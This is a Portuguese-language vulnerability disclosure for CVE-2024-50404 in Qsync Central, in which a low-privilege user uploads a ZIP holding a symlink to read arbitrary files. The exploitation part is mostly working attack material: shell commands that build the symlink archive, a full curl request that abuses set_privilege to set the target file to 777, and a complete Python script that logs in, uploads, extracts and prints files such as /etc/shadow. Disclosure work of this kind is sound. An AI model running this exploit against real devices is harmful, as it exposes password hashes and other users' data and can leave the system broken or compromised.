
CVE-2024-50404
"Foi relatada uma vulnerabilidade de seguimento de link que afeta o Qsync Central. Se explorada, a vulnerabilidade pode permitir que atacantes remotos que tenham obtido acesso de usuário percorram o sistema de arquivos para locais não pretendidos."
Data da Descoberta: 22 de abril de 2024
Data da Correção: 7 de dezembro de 2024
Versão(ões) Afetada(s): Qsync Central 4.4.x
Versão(ões) Corrigida(s): Qsync Central 4.4.0.16_20240819 (2024/08/19) e posteriores
Permissões de Acesso: Usuário comum com permissão de upload de arquivos
Resumo:
É possível fazer upload de um symlink através de um arquivo ZIP e ler o arquivo para onde o symlink enviado aponta.
Além disso, as permissões do arquivo alvo do symlink podem ser modificadas.
Um atacante com privilégios de usuário comum pode ler dados de outros usuários ou os hashes de senha armazenados em /etc/config/shadow, o que pode levar ao comprometimento de todo o sistema.
Adicionalmente, o atacante pode remover a permissão de execução de binários importantes do sistema para tornar o sistema inutilizável.
Crie um symlink e coloque-o em um arquivo ZIP.
ln -s /etc/passwd link.txt
zip --symlink pwn.zip link.txt
Faça login como um usuário de baixos privilégios.
Faça upload do arquivo ZIP na pasta .Qsync.

Extraia o arquivo ZIP clicando com o botão direito e selecionando Extrair para /pwn/.

Abra a nova pasta pwn, clique com o botão direito em link.txt e selecione Abrir.
Observe que /etc/passwd é aberto em uma nova aba.

Crie um symlink e coloque-o em um arquivo ZIP.
ln -s /etc/shadow link.txt
zip --symlink pwn.zip link.txt
Faça login como um usuário de baixos privilégios.
Faça upload do arquivo ZIP na pasta .Qsync.
Extraia o arquivo ZIP clicando com o botão direito e selecionando Extrair para /pwn/.
Altere a permissão do arquivo para onde o symlink aponta abusando da função set_privilege.
Requisição Curl:
curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
Requisição Burp:

Você deve substituir o parâmetro sid na URL por um ID de sessão válido.
Abra a nova pasta pwn, clique com o botão direito em link.txt e selecione Abrir.
Observe que /etc/shadow é aberto em uma nova aba.
O script Python a seguir pode ser usado para explorar a vulnerabilidade.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# ajuste as seguintes variáveis
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print(f'cuidado, as permissões de {FILE} serão alteradas para 777! a limpeza não está implementada')
print('criando arquivo zip')
os.system('rm -f pwned.txt pwn.zip')
os.system(f'ln -s {FILE} pwned.txt')
os.system('zip --symlink pwn.zip pwned.txt')
print('fazendo login')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('enviando arquivo zip')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('descompactando arquivo zip')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
# aguarde um pouco
time.sleep(5)
print('alterando permissões do arquivo')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('lendo arquivo')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
assert response.status_code == 200
print(response.text)
print('concluído')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# obter id de upload
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# enviar arquivo
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()
